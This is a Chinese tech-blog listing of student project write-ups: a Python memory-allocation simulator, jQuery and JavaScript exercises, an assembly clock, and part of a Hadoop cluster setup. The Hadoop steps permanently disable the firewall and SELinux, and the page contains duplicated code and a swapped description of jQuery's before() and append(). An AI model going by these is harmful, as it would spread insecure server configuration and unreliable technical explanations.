分类

类型:
不限 游戏开发 计算机程序开发 Android开发 网站开发 笔记总结 其他
评分:
不限 10 9 8 7 6 5 4 3 2 1
原创:
不限
年份:
不限 2018 2019 2020

技术文章列表

  • python实现操作系统大作业动态分区分配

    1. 使用说明1.1 项目简介1.2 项目目的1.3 项目功能要求1.3.1 基本任务2. 设计与实现2.1 设计2.1.1开发环境及语言2.1.2 算法设计2.1.3 数据结构设计2.1.4 类结构设计2.2 实现2.2.1算法实现2.3 运行截图1. 使用说明1.1 项目简介
    一个模拟动态分区分配方式的桌面程序
    开发环境 windows\python\pyQt5

    1.2 项目目的
    设计相关数据结构、学习分配算法
    加深对动态分区存储管理方式及其实现过程的理解

    1.3 项目功能要求1.3.1 基本任务
    假设初始态下,可用内存空间为640K,并有下列请求序列,请分别用首次适应算法和最佳适应算法进行内存块的分配和回收,并显示出每次分配和回收后的空闲分区链的情况来。
    2. 设计与实现2.1 设计2.1.1开发环境及语言
    开发环境:pycharm
    开发语言:python

    本项目采用PyQt5实现图形化用户界面,达到可视化的目的。
    2.1.2 算法设计首次适应算法(First Fit)
    该算法从空闲分区链首开始查找,直至找到一个能满足其大小要求的空闲分区为止。然后再按照作业的大小,从该分区中划出一块内存分配给请求者,余下的空闲分区仍留在空闲分区链中。

    特点: 该算法倾向于使用内存中低地址部分的空闲区,在高地址部分的空闲区很少被利用,从而保留了高地址部分的大空闲区。显然为以后到达的大作业分配大的内存空间创造了条件
    缺点:低地址部分不断被划分,留下许多难以利用、很小的空闲区,而每次查找又都从低地址部分开始,会增加查找的开销

    最佳适应算法(Best Fit)
    该算法总是把既能满足要求,又是最小的空闲分区分配给作业。为了加速查找,该算法要求将所有的空闲区按其大小排序后,以递增顺序形成一个空白链。这样每次找到的第一个满足要求的空闲区,必然是最优的。孤立地看,该算法似乎是最优的,但事实上并不一定。因为每次分配后剩余的空间一定是最小的,在存储器中将留下许多难以利用的小空闲区。同时每次分配后必须重新排序,这也带来了一定的开销。

    特点:每次分配给文件的都是最合适该文件大小的分区
    缺点:内存中留下许多难以利用的小的空闲区

    2.1.3 数据结构设计采用采用链表结构模拟空闲分区链。
    2.1.4 类结构设计UI主窗口类
    class mainWindow(object):
    # 属性self.centralwidget = QtWidgets.QWidget(main_window)# 中心控件self.rb_ff = QRadioButton("FirstFit", main_window)#首次适应单选按钮self.rb_bf = QRadioButton("BestFit", main_window)#最佳适应单选按钮self.big_btn = QtWidgets.QPushButton(main_window)#整块内存self.line_edit = QtWidgets.QLineEdit(main_window)#进程号输入框self.line_edit_2 = QtWidgets.QLineEdit(main_window)#进程大小输入框self.push_btn = QtWidgets.QPushButton("确定", main_window)#进程确认按钮self.line_edit_3 = QtWidgets.QLineEdit(main_window)#删除的进程号输入框self.del_btn= QtWidgets.QPushButton("del", main_window)#删除按钮self.clear_btn = QtWidgets.QPushButton('Reset', main_window)#清除所有进程按钮self.free_title=QLabel("空闲分区链", main_window)#空闲分区链文本self.free_label=QLabel("(0,640)", main_window)#空闲分区链展示# 方法def setup_ui(self, main_window):#初始化UI
    UI主窗口逻辑实现类
    class Window(QtWidgets.QMainWindow):
    # 属性self.ui = mainWindow()#基本uiself.isbestFit=False#选择两种分配模式之一self.free_link=DList()#用链表实现的空闲分区链self.dict = {}#记录各进程信息的python字典
    #方法def first_fit_select(self): # 选中首次适应算法def best_fit_select(self): # 选中最佳适应算法def add_node(self,p_num,p_size): # 添加空闲分区链的节点def del_node(self,p_num): # 删除空闲分区链的节点def clear(self): # 清空进程def find_first_node(self,size): # 寻找 first fitdef find_best_node(self,size): # 寻找 best fitdef word_get(self): # 获取进程号和进程大小def del_get(self): # 获取要删除的进程号def display_free(self): # 展示空闲分区链
    2.2 实现2.2.1算法实现首次适应算法
    def find_first_node(self,size): # 寻找 first fit p=self.free_link.head while p: # 遍历空闲分区链直到找到第一个符合要求的空闲区域 if p.size>size: # 如果满足要求 且略大 p.address+=size # 缩小空闲区域让给新进程使用 # print(p.address) p.size-=size # print(p.address) self.display_free() # 展示新的空闲分区链 return p.address-size elif p.size==size: # 如果大小相等 则全部分配出去 删除空闲分区链中该节点 if p.prev: # 如果不是空闲分区链中第一个节点 p.prev.next=p.next p.next.prev=p.prev else: self.free_link.head=p.next # 如果是第一个节点 则需修改链头 # print(p.address) self.display_free() # 展示新的空闲分区链 return p.address p=p.next return -1
    最佳适应算法
    def find_best_node(self,size): # 寻找 best fit p = self.free_link.head # 令p为链头 best=None # best最佳适应的空闲区 min=cap+1 # 初始化所需内存大小空闲分区的最小差距 while p: # 遍历空闲分区链 if p.size>size: # 如果放得下 if min>p.size-size: # 如果与大小相差更小 min=p.size-size # 更新大小差距 best=p # 更新最佳空闲区 elif p.size==size: # 如果大小完全相等 即为最佳分配 if p.prev: # 对空闲分区链进行更新 p.prev.next = p.next p.next.prev = p.prev else: self.free_link.head = p.next self.display_free() return p.address # 返回进程应当存放在的首地址 p=p.next if best: # 如果存在满足要求的空闲分区 best.address+=size # 对空闲分区链进行更新 best.size-=size self.display_free() return best.address-size # 返回进程应当存放在的首地址 else: return -1
    最佳适应算法
    def find_best_node(self,size): # 寻找 best fit p = self.free_link.head # 令p为链头 best=None # best最佳适应的空闲区 min=cap+1 # 初始化所需内存大小空闲分区的最小差距 while p: # 遍历空闲分区链 if p.size>size: # 如果放得下 if min>p.size-size: # 如果与大小相差更小 min=p.size-size # 更新大小差距 best=p # 更新最佳空闲区 elif p.size==size: # 如果大小完全相等 即为最佳分配 if p.prev: # 对空闲分区链进行更新 p.prev.next = p.next p.next.prev = p.prev else: self.free_link.head = p.next self.display_free() return p.address # 返回进程应当存放在的首地址 p=p.next if best: # 如果存在满足要求的空闲分区 best.address+=size # 对空闲分区链进行更新 best.size-=size self.display_free() return best.address-size # 返回进程应当存放在的首地址 else: return -1
    最佳适应算法
    def find_best_node(self,size): # 寻找 best fit p = self.free_link.head # 令p为链头 best=None # best最佳适应的空闲区 min=cap+1 # 初始化所需内存大小空闲分区的最小差距 while p: # 遍历空闲分区链 if p.size>size: # 如果放得下 if min>p.size-size: # 如果与大小相差更小 min=p.size-size # 更新大小差距 best=p # 更新最佳空闲区 elif p.size==size: # 如果大小完全相等 即为最佳分配 if p.prev: # 对空闲分区链进行更新 p.prev.next = p.next p.next.prev = p.prev else: self.free_link.head = p.next self.display_free() return p.address # 返回进程应当存放在的首地址 p=p.next if best: # 如果存在满足要求的空闲分区 best.address+=size # 对空闲分区链进行更新 best.size-=size self.display_free() return best.address-size # 返回进程应当存放在的首地址 else: return -1
    最佳适应算法
    def find_best_node(self,size): # 寻找 best fit p = self.free_link.head # 令p为链头 best=None # best最佳适应的空闲区 min=cap+1 # 初始化所需内存大小空闲分区的最小差距 while p: # 遍历空闲分区链 if p.size>size: # 如果放得下 if min>p.size-size: # 如果与大小相差更小 min=p.size-size # 更新大小差距 best=p # 更新最佳空闲区 elif p.size==size: # 如果大小完全相等 即为最佳分配 if p.prev: # 对空闲分区链进行更新 p.prev.next = p.next p.next.prev = p.prev else: self.free_link.head = p.next self.display_free() return p.address # 返回进程应当存放在的首地址 p=p.next if best: # 如果存在满足要求的空闲分区 best.address+=size # 对空闲分区链进行更新 best.size-=size self.display_free() return best.address-size # 返回进程应当存放在的首地址 else: return -1
    空闲分区块合并算法
    def del_node(self,p_num): # 删除空闲分区链的节点 node=self.dict[p_num] node["btn"].setVisible(False) if node["address"]<self.free_link.head.address: if self.free_link.head.address==(node["address"] + node["size"]): self.free_link.head.address=node["address"] self.free_link.head.size+=node["size"] else: p=Node(node["address"],node["size"]) self.free_link.head.prev=p p.next=self.free_link.head self.free_link.head=p else: q = self.free_link.head while q: if q.address < node["address"] and q.next and q.next.address > node["address"]: if q.address+q.size==node["address"]: q.size+=node["size"] if q.next: if (q.address+q.size)==q.next.address: q.size+=q.next.size q.next=q.next.next if q.next: q.next.prev=q self.display_free() return 0 elif q.next and node["address"]+node["size"]==q.next.address: q.next.address-=node["size"] q.next.size+=node["size"] self.display_free() return 0 else: n=Node(node["address"],node["size"]) n.prev=q n.next=q.next q.next.prev=n q.next=n q=q.next del self.dict[p_num] self.display_free()
    分别判断该位置前后的内存块是否是未被分配的空闲块,如果是则与刚被释放的空闲块合并。
    2.3 运行截图
    1 留言 2020-05-30 13:44:09 奖励36点积分
  • 制作论坛发帖页面(采用html()方式、操作节点的方式)

    一、任务一:制作论坛发帖页面(采用html()方式)1.1 任务要求1.2 设计思路1.3 设计代码1.4 运行结果分析1.5 错误分析及解决1.6 任务要求解释说明二、任务二:制作论坛发帖页面(操作节点的方式)2.1 任务要求2.2 设计思路2.3 设计代码2.4 运行结果分析2.5 错误分析及解决2.6 任务要求解释说明一、任务一:制作论坛发帖页面(采用html()方式)1.1 任务要求
    如获取指定元素的值
    如何设置元素的显示和隐藏
    如何设置元素的html代码

    说明:

    单击“我要发帖”按钮,弹出发帖页面
    在标题框中输入标题,选择所属板块,输入帖子内容
    单击“发布”按钮,新发布的帖子显示在列表的第一个,新帖子显示发帖者的头像、标题、所属板块和发布时间

    1.2 设计思路
    利用JavaScript Date 对象获取系统时间并将其在相应位置输出\
    将多张照片存放在一个数组中,利用随机数输出随机照片
    通过$(“id”).val()获取对应id的值;通过$(“.class”).val();获取对应class的值
    通过jQuery hide()方法和show()方法 实现元素的显示和隐藏
    利用html方法实现输出

    1.3 设计代码
    1.4 运行结果分析

    通过点击”我要提问”实现弹出窗口,输入标题和提问内容,选择板块;点击”发布”实现窗口的隐藏和相关内容的输出。
    1.5 错误分析及解决
    错误

    没有加判断是否为空的情况以及内容不输出的情况,使整体效果不严谨
    解决

    增加一个alter的提醒,增加一个选择器获取内容的值

    1.6 任务要求解释说明
    如获取指定元素的值?通过$(“id”).val()获取对应id的值;通过$(“.class”).val();获取对应class的值
    如何设置元素的显示和隐藏通过jQuery hide()方法和show()方法 实现元素的显示和隐藏
    如何设置元素的html代码html() 方法设置或返回被选元素的内容。当该方法用于返回内容时,则返回第一个匹配元素的内容。当该方法用于设置内容时,则重写所有匹配元素的内容

    二、任务二:制作论坛发帖页面(操作节点的方式)2.1 任务要求
    如何创建节点元素
    如何在指定节点之后插入节点元素
    如何在指定节点之前插入节点元素
    如何获取指定元素的值
    如何设置元素的显示和隐藏

    说明:

    单击“我要发帖”按钮,弹出发帖页面
    在标题框中输入标题,选择所属板块,输入帖子内容
    单击“发布”按钮,新发布的帖子显示在列表的第一个,新帖子显示发帖者的头像、标题、所属板块和发布时间

    2.2 设计思路
    利用JavaScript Date 对象获取系统时间并将其在相应位置输出
    声明一个数组将多张照片存放在数组中,利用随机数输出随机照片
    写好html内容,直接用$()包裹;var $newDiv = $(“<div id="newDiv"></div>“);
    通过jQuery hide()方法和show()方法 实现元素的显示和隐藏
    jQuery 文档操作 - append() 方法在指定位置输出

    2.3 设计代码
    2.4 运行结果分析隔行换色鼠标指向表格行变色(含页面内容查找功能)


    通过点击”我要提问”实现弹出窗口,输入标题和提问内容,选择板块。点击”发布”实现窗口的隐藏和相关内容的输出;
    2.5 错误分析及解决掌握了jQ的操作节点的相关方法。
    2.6 任务要求解释说明
    如何创建节点元素创建节点:写好html内容,直接用$()包裹
    var $newDiv = $("<div id="newDiv"></div>");
    如何在指定节点之后插入节点元素?
    $(" selector ").before($(content));
    selector: 指定元素;content:指定要插入的内容,可以是 字符、html标签、函数
    如何在指定节点之前插入节点元素?
    $("selector").append(content);
    selector: 指定元素;content:指定要插入的内容,可以是 字符、html标签、函数
    如何获取指定元素的值?通过选择器选择指定的标签.val()方法获取该标签的值
    如何设置元素的显示和隐藏?通过jQuery hide()方法和show()方法 实现元素的显示和隐藏
    0 留言 2020-06-05 09:48:59 奖励48点积分
  • 基于80x86汇编实现的显示系统日期和时间

    一、任务内容
    题目:显示系统日期和时间
    要求:

    在屏幕特定位置显示当前系统日期和时间显示的日期和时间要求即时更新,即设计为跳动的时钟可自定义电子钟的显示区域、显示位置、背景和前景色或以图形化方式显示当按下某个键,如“Q”时,程序返回DOS,数字钟消失。完成该任务
    提高:再设计一款倒计时,倒计时时间由用户设定(如30分钟),时间到有提示(如时间背景、前景色变化或文本提示等)

    二、设计思路
    时钟显示思路分析:取中断向量 mov al,1ch; mov ah,35h; int 21h; 获取 1ch 中断向量到 es:bx; 利用 mov al,1ch; mov ah,25h; int 21h; 设置中断向量 ds:dx 将中断向量地址存入堆栈中,设置中断向量的地址入口改为 intpro 后利用 in al,21h 读中断屏蔽寄存器;通过 dos 的中断 (mov ah, 2ah; int 21h) 获取系统时间。
    Q退出思路分析:通过在 delay 中利用 BIOS 中断向量的 16 号中断,该中断通过获取键盘输入的将扫描码存入 ah 中得到,通过 CMP 比较是否为 10h (Q的扫描码),是则退出。
    在屏幕中间显示时间并改变颜色思路分析:通过 BIOS 的 int 10 号中断的 ah 2 设置光标位置,ah 9 光标位置显示字符及属性 BH=显示页、AL=字符、 BL=属性、CX=字符重复次数、改变颜色;
    倒计时显示思路分析:利用 int 21h; ah 01 输入时间(通过循环输入), 取中断向量 mov al, 1ch; mov ah, 35h; int 21h; 获取1ch中断向量到 es:bx; 利用 mov al,1ch; mov ah,25h; int 21h; 设置中断向量 ds:dx 将中断向量地址存入堆栈中,设置中断向量的地址入口改为 intpro 后利用 in al,21h 读中断屏蔽寄存器;利用 and al, 11111110b 开定时器中断,每执行18次(一秒)将输入的时间减1秒完成倒计时系统;

    显示系统时间流程图

    倒计时流程图

    三、调试结果及分析3.1 调试结果显示系统时间


    倒计时


    3.2 分析3.2.1 系统时间分析通过在理解的基础上,通读显示系统时间代码,在循环delay中不理解等待中断含义,然后不理解mov count,18的含义;但随着课程的进行,自己翻阅资料理解其含义。循环delay等待系统中断即叫INT 16H 中断设置在其中,可以实现按Q触发中断完成退出;count的含义为中断定时器设置循环的次数,中断定时器每秒执行182次而mov count,18刚好可以将程序每秒刷新一次。
    3.2.2 倒计时分析通过对系统时间任务的完成,结合自己对其的理解,思考得到首先输入一个时间,可以利用定时器的作用,每隔一秒将输入的字符以减一,然后对其显示输入,完成简单的倒计时功能,由于代码类似,仅完成对分钟、秒钟的倒计时。
    四、总结或感悟通过本次课程设计对底层汇编语言有了更深的理解,如果说数据结构是为了培养对降低程序的时间复杂度的能力,那么汇编语言在一定范围内培养对降低程序的空间复杂度的能力;汇编语言并不像高级语言随意设置变量,而是在有限的资源下完成对于程序的设计,更加考验的耐心。
    因为曾经听过年长的人对于汇编语言的见解,学习汇编并非无用,它可以培养一种编程的思维,而且对于我比较感兴趣的反汇编有一定的关联,所以在课下有去练习相关的汇编程序练习、结合课程的进行和老师的讲解,对于本次课程设计的完成思路比较明确,难点在于没有规范的编程习惯,比如:在任务一调用汇编函数时并没有保护现场,导致输出栈顶编译器的信息;不了解BIOS各个中断。
    尝试编写INT 9H 完成对于Q的退出,虽然有完成任务,但是学而不精,在执行一段时间后程序将自动退出,所以弃用了这种方法;后经过老师的指导了解到INT 16H 的功能,通过获取扫描码实现按Q退出。
    在本次课程设计中,在接连不断的错误中,一次次的改正,不断学习,不断的改正,一次次的思考,一遍遍的检查,最终完成调试的检测,可谓结果来自不易,最后的结果也完成了任务,也是对自己的这几天花费的交代。
    0 留言 2020-06-04 21:33:30 奖励40点积分
  • JavaScript与jQuery简单实验

    一、任务一:JavaScript二十四进制的时钟特效1.1 任务要求1.2 设计思路1.3 设计代码1.4 运行结果分析1.5 错误分析及解决1.6 任务要求解释说明二、任务二: JavaScript完成表单验证2.1 任务要求2.2 设计思路2.3 设计代码2.4 运行结果分析2.5 错误分析及解决2.6 任务要求解释说明三、任务三: JavaScript图片幻灯片3.1 任务要求3.2 设计思路3.3 设计代码3.4 运行结果分析3.5 错误分析及解决3.6 任务要求解释说明四、任务四: 访问购物车页面节点4.1 任务要求4.2 设计思路4.3 设计代码4.4 运行结果分析4.5 错误分析及解决4.6 任务要求解释说明五、任务五: 制作二十四进制的时钟特效(jQuery)5.1 任务要求5.2 设计思路5.3 设计代码5.4 运行结果分析5.5 错误分析及解决5.6 任务要求解释说明六、任务六: jQuery完成表单验证6.1 任务要求6.2 设计思路6.3 设计代码6.4 运行结果分析6.5 错误分析及解决6.6 任务要求解释说明七、任务七: 使用jQuery完成变换网页效果7.1 任务要求7.2 设计思路7.3 设计代码7.4 运行结果分析7.5 错误分析及解决7.6 任务要求解释说明八、任务八: 制作图书简介页面8.1 任务要求8.2 设计思路8.3错误分析及解决8.4 任务要求解释说明一、任务一:JavaScript二十四进制的时钟特效1.1 任务要求
    对象的使用
    document.write()方法的使用
    setInterval()方法的使用

    1.2 设计思路
    利用JavaScript Date对象,利用该对象的方法创建,年,月,日,星期,时,分,秒的变量(注:getYear+1900;getMonth+1 保证时间的准确性 [这个方法是在上世纪设计的,从上世纪的角度来看,21世纪还是个遥远的年代,所以这个getYear()方法的实现就是简单的减掉1900])
    在html适当位置创建显示位置标签id
    利用document.getElementById()获取查找第一个id所在位置
    利用innerHTML 属性可用于获取或替换 HTML 元素的内容
    利用setInterval(show,1000); 方法,每隔1000毫秒调用一次函数

    1.3 设计代码
    1.4 运行结果分析
    第一次获取系统时间作为初值,利用setInterval()重复调用函数,达到更新时间的目的
    1.5 错误分析及解决
    错误

    由于版本问题在使用windon. setInterval() 一直无法运行使用getElementById()时错误的在()中加了#
    错误解决

    将windon去除document.getElementById()获取查找第一个id所在位置

    1.6 任务要求解释说明
    对象的使用Date 对象用于处理日期和时间 [Date 对象会自动把当前日期和时间保存为其初始值]
    document.write()方法的使用Document.write() 方法可向文档写入 HTML 表达式或 JavaScript 代码可列出多个参数(exp1,exp2,exp3,…) ,它们将按顺序被追加到文档中
    setInterval()方法的使用setInterval(function,interval[,arg1,arg2,……argn]) function是一个函数名或者一个对匿名函数的引用。interval制定对function调用两次之间的时间,单位是毫秒。后面的arg1等是可选的参数,用于制定传递给function的参数

    二、任务二: JavaScript完成表单验证2.1 任务要求
    正则表达式的使用
    如何获取表单元素
    函数的应用
    表单验证的方法

    2.2 设计思路
    利用function{} 建立四个函数. Checkemail();checkename();checkage();分别对三个输入框的值经行判断 checkform()函数判断三个函数输入正确与否,利用document.getElementById();获取name,age,email的值
    利用正则正则表达式以及test()方法判断是否正确
    利用html DOM innerHTML属性通过改变属性设置,提醒填写相关信息的正确性
    当所有方法都正确时点击提交将checkform()返回值赋给onsubime 提交表达单

    2.3 设计代码

    2.4 运行结果分析
    利用HTML DOM innerHTML属性显示输入信息的正确与否;通过HTML的submit方法个reset实现表单的提交和重置
    2.5 错误分析及解决
    错误

    未写判断函数,导致每次点击提交都跳转错误的将onSubmit和Submit事件记混,但导致无论信息正确与否,表单依旧可以提交
    解决

    添加判断条件,在form标签中利用onSubmit事件点击判断是否成立,成立则提交Submit对象提交按钮熟悉并且掌握HTML DOM Form对象的Submit事件时为了创建提交按钮Osubmit指定一个函数,当onclick submit事件发生时,通过函数的返回值判断是否提交表单

    2.6 任务要求解释说明
    正则表达式的使用正则表达式是构成搜索模式的字符序列,利用test()方法通过模式搜索字符串返回 true or false
    获取表单元素通过方法getElementById()的方法获取所对应id的位置,与.value结合 document.getElementById(“IDname”).val;获取对应位置对应标签的值
    函数的应用利用function 函数名{};的格式建立函数,在本题中利用onBlur事件当用户离开标签失去焦点时执行对应函数
    表单验证的方法Submit对象创建一个表单提交按钮(<input type="submit"> 标签每出现一次,一个 Submit 对象就会被创建,触发onclick事件通过函数返回值true or false 判断是否提交);通过form.onsubimet (当onclick submit表单时调用)通过函数返回值判断是否提交表单

    三、任务三: JavaScript图片幻灯片3.1 任务要求
    setAttribute方法的使用
    访问HTML节点方法的使用

    3.2 设计思路
    利用getElementById()方法访问HTML,返回对拥有指定 id 的第一个对象的引用
    通过setaAttribute方法对已有的属性进行设置或改值

    3.3 设计代码
    3.4 运行结果分析
    通过对标签(图下数字)的点击实现图片的切换,通过点击的后对应标签的颜色改变,对起经行已读标记。
    3.5 错误分析及解决
    错误

    将方法getElementById()和方法getElementsByName() 记混
    错误解决

    方法记忆get….Id 访问指定id名称对象的引用(第一个)get….name 访问指定name名称的对象集合

    3.6 任务要求解释说明
    setAttribute方法对于setAttribute的定义和用法 ,etAttribute() 方法添加指定的属性,并为其赋 指定的值。如果这个指定的属性已存在,则仅设置/更改值。
    访问HTML节点方法本任务中:通过document.getElementById(“id”);获取某个已知结点

    四、任务四: 访问购物车页面节点4.1 任务要求
    DOM对象的使用
    getElementsByName与getElementById方法的区别
    window对象的使用
    innerHTML与value的区别
    访问HTML文档节点的方法

    4.2 设计思路
    设计函数minus(-)通过方法getElementById().value 访问对应标签的值,再次利用该方法改变amount的值 .利用HTML DOM innerHTML 属性设置或返回表格行的开始和结束标签之间的 HTML。设置判断当amount==1时不可提醒不可在加
    设计函数plus(+)思路同(1)
    设计函数total() 利用getElementsByName方法,返回计算总价格
    设计collection()函数和del()函数 模拟真是情况,跳出对应提醒
    设计函数close() 完成关闭标签函数

    4.3 设计代码

    4.4 运行结果分析
    通过对onclick按钮”(+ -)”的操作完成对应信息的改变,对onclick按钮”结算”完成对价格的结算,对onclick按钮”关闭”实现关闭网页。
    4.5 错误分析及解决
    错误

    出现价格的小数点后面有很多位的情况出现商品价格不对但是总结算对的情况
    错误解决

    利用toFixed() 方法把 price 四舍五入为指定小数位数的数字再利用方法getElementById时将Id取错

    4.6 任务要求解释说明
    DOM对象Document 对象使我们可以从脚本中对 HTML 页面中的所有元素进行访问。getElementsByName()与getElementById()的使用
    getElementsByName()与getElementById()方法的区别getElementById() 返回对拥有指定 id 的第一个对象的引用。getElementsByName()返回带有指定名称的对象集合
    window对象的使用close返回窗口是否已被关闭
    innerHTML与value的区别使用innerHTML获取到<div>标签内的所有内容,包括<p>标签对和<img>标签; 相当于给标签中加入HTML代码;使用value获取的<input>标签的value属性, 相当于修改控件显示内容
    访问HTML文档节点的方法DOM常用的方法getElementById() 返回文档中具有指定id属性的Element节点。firstChild以Node的形式返回当前节点的第一个子节点。如果没有子节点,则为null。lastChild以Node的形式返回当前节点的最后一个子节点。如果没有子节点,则为null。nextSibling以Node的形式返回当前节点的兄弟下一个节点。如果没有这样的节点,则返回null

    五、任务五: 制作二十四进制的时钟特效(jQuery)5.1 任务要求
    jQuery的基本语法
    如何使用jQuery工厂函数
    Id选择器的使用

    5.2 设计思路
    利用JavaScript Date对象,利用该对象的方法创建,年,月,日,星期,时,分,秒的变量
    在html适当位置创建显示位置标签id
    jQ DOM操作 $(“#+id”). html设置或返回所选元素的内容
    利用setInterval(show,1000); 方法,每隔1000毫秒调用一次函数

    5.3 设计代码
    5.4 运行结果分析
    第一次获取系统时间作为初值,利用setInterval()重复调用函数,达到更新时间的目的。
    5.5 错误分析及解决
    错误

    未使用jQ的工厂函数,不符合题意使用jQ工厂函数后事件部刷新
    解决

    在声明函数时使用$(“doucment”).ready(function (){});的方法声明工厂函数注意在jQ环境下的setInterval使用方法,应放在函数里面

    5.6 任务要求解释说明
    如何使用jQuery工厂函数写法:$(document).ready(); 优点:在浏览器构建DOM树之后立即执行其中的代码。比JS代码加载速度快
    Id选择器的使用本题中:使用的$(“#title”) 选取所有对应id(title)的标签。使用的$(“#myclock”) 选取所有对应id(myclock)的标签

    六、任务六: jQuery完成表单验证6.1 任务要求
    JQuery的基本语法
    Id选择器的使用
    如何使用jQuery工厂函数访问表单
    表单验证的方法
    正则表达式的使用

    6.2 设计思路
    利用function{} 建立五个函数. Checkemail();checkename();checkage();分别对三个输入框的值经行判断, submit()工厂函数判断三个输入是否均正确;一个匿名的函数实现重置
    利用$(“#+id”).val;获取输入的name,age,email的值
    利用正则正则表达式以及test()方法判断是否正确
    利用$(“#+id”).html属性通过改变属性设置,提醒填写相关信息的正确性
    当所有方法都正确时点击提交实现跳转

    6.3 设计代码

    6.4 运行结果分析
    通过正则表达式,判断输入结果是否正确然后提示相关信息。
    6.5 错误分析及解决
    错误

    错误的将jQ的库的JS文件放在文件实现的JS后面,导致浪费大量的时间纠错
    解决

    将文件引用位置调换,JavaScript作为脚本语言,按照自上而下的顺序运行

    6.6 任务要求解释说明
    Id选择器的使用$(“#id”) 选取所有对应id的标签
    如何使用jQuery工厂函数访问表单利用submit()方法的放返回值判断是否提交表单, 当元素失去焦点时发生 blur 事件

    七、任务七: 使用jQuery完成变换网页效果7.1 任务要求
    使用选择器选取元素
    使用css(),addClass()方法为选取的元素添加CSS样式
    使用show()方法显示元素

    7.2 设计思路
    在标签的css中利用 display:none 的方法将对应标签的内容隐藏
    在利用$(“标签名”).fadeToggle() 方法,实现通过某个事件触发显示和隐藏标签内容
    当点击h3标签(你是人间的四月天)时利用css 动态改变h3的颜色,和利用addClass改变p标签的样式属性,其中改变的样式需要在css中已存在

    7.3 设计代码
    7.4 运行结果分析
    点击标题提示使标题和介绍文字同时变色,点击介绍文字使改文字变色;点击查看全文显示内容介绍,再次点击将其收起。
    7.5 错误分析及解决
    错误

    未使用addClass的方法改变,不符合任务要求
    解决

    学习,掌握并使用addClass的用法

    7.6 任务要求解释说明
    使用选择器选取元素利用$(“标签名”)选择元素
    使用css(),addClass()方法为选取的元素添加CSS样式addClass()本质只是针对class的类的增加删除,不能获取到指定样式的属性的值,css()可以获取到指定的样式值。css的样式是有优先级的,当外部样式、内部样式和内联样式同一样式规则同时应用于同一个元素的时候,优先级如下:外部样式 < 内部样式 < 内联样式。.css方法设置的样式属性优先级要高于.addClass方法
    使用show()方法显示元素改进使用fadeToggle()方法实现再次点击将元素收起的效果

    八、任务八: 制作图书简介页面8.1 任务要求
    基本选择器的使用
    层次选择器的使用
    使用css(),addClass()方法为选取的元素添加CSS样式

    说明

    “自营图书几十万……”一行的字体颜色为红色
    “¥24.10”的字体大小为24px,红色加粗显示
    “[定价:¥35.00]”的字体颜色为#ccc(灰色),带有中划线
    <dl>标签中的字体颜色均为红色
    单击“以下促销……”链接,显示隐藏的内容,如下图所示,此部分字体颜色均为红色
    “加购价”“满减”“105-6”“200-16”的字体颜色为白色,背景颜色为红色。

    8.2 设计思路
    利用基本选择器选择<p>改成红色
    利用父子选择器的选择<id=jdPrice>内部的所有<span>标签改成红色,大小为24px;
    利用派生选择器选择<id=jdPrice>内部的<p>内部的<span>标签将字体字体颜色为#ccc(灰色),带有中划线
    利用click事件触达show();通过css()和addClass()改变对应颜色

    8.3错误分析及解决学习掌握了各类标签选择器的使用方法。
    8.4 任务要求解释说明
    基本选择器的使用#id $(“#lastname”) id=”lastname” 的元素,.class $(“.intro”) 所有 class=”intro” 的元素,Element $(“p”)所有 <p> 元素
    层次选择器的使用派生选择器:在s1内部获得全部的s2节点(不考虑层次),$(s1 > s2) [父子]:直接子元素选择器:在s1内部获得s2的子元素节点
    使用css(),addClass()方法为选取的元素添加CSS样式addClass()本质只是针对class的类的增加删除,不能获取到指定样式的属性的值,css()可以获取到指定的样式值。css的样式是有优先级的,当外部样式、内部样式和内联样式同一样式规则同时应用于同一个元素的时候,优先级如下:外部样式 < 内部样式 < 内联样式。.css方法设置的样式属性优先级要高于.addClass方法
    2 留言 2020-06-04 21:30:39 奖励68点积分
  • 大数据1、hadoop搭建体验

    一、Linux
    熟练基本命令
    安装操作
    Nat设置

    ps:由于集群需要多个模拟系统所以网卡地址不能一样,为防止本地IP冲突,所以使用Nat虚拟IP地址
    Linux设置好IP地址
    二、Hadoop1.0集群搭建Hadoop源码包下载
    http://mirror.bit.edu.cn/apache/hadoop/common/
    2.1 集群环境
    Master 192.168.xx.10
    Slave1 192.168.xx.11
    Slave2 192.168.xx.12

    2.2 关闭系统防火墙及内核防火墙Master、Slave1、Slave2
    暂时关闭防火墙
    /etc/init.d/iptables stop查看防火墙状态
    iptables -L临时关闭内核防火墙
    setenforce 0永久关闭内核防火墙
    vim /etc/selinux/configSELINUX=disabled查看内核防火墙状态
    getenforce2.3 修改主机名Master
    vim /etc/sysconfig/networkNETWORKING=yesHOSTNAME=masterSlave1
    vim /etc/sysconfig/networkNETWORKING=yesHOSTNAME=slave1Slave2
    vim /etc/sysconfig/networkNETWORKING=yesHOSTNAME=slave22.4 修改IP地址Master、Slave1、Slave2
    vim /etc/sysconfig/network-scripts/ifcfg-eth0DEVICE=eth0HWADDR=00:50:56:89:25:3ETYPE=EthernetUUID=de38a19e-4771-4124-9792-9f4aabf27ec4ONBOOT=yesNM_CONTROLLED=yesBOOTPROTO=staticIPADDR=192.168.xx.10/11/12NETMASK=255.255.255.0GATEWAY=192.168.xx.2DNS1=#本省2.5 修改主机文件Master、Slave1、Slave2
    vim /etc/hosts192.168.xx.10 master192.168.xx.11 slave1192.168.xx.12 slave22.6 SSH互信配置Master、Slave1、Slave2
    生成密钥对(公钥和私钥)
    ssh-keygen -t rsa三次回车

    cat /root/.ssh/id_rsa.pub > /root/.ssh/authorized_keyschmod 600 /root/.ssh/authorized_keys相互追加Key
    Master
    ssh slave1 cat /root/.ssh/id_rsa.pub >> /root/.ssh/authorized_keysssh slave2 cat /root/.ssh/id_rsa.pub >> /root/.ssh/authorized_keysSlave1
    ssh master cat /root/.ssh/authorized_keys > /root/.ssh/authorized_keysSlave2
    ssh master cat /root/.ssh/authorized_keys > /root/.ssh/authorized_keys2.7 安装JDKhttp://www.oracle.com/technetwork/java/javase/downloads/index.html
    Master
    cd /usr/local/srcwget 具体已上面的链接地址为准tar zxvf jdk1.8.0_152.tar.gz2.8 配置JDK环境变量Master、Slave1、Slave2
    vim ~/.bashrcexport JAVA_HOME=/usr/local/src/jdk1.6.0_45export CLASSPATH=.:$CLASSPATH:$JAVA_HOME/libexport PATH=:$PATH:$JAVA_HOME/bin2.9 JDK拷贝到Slave主机Master
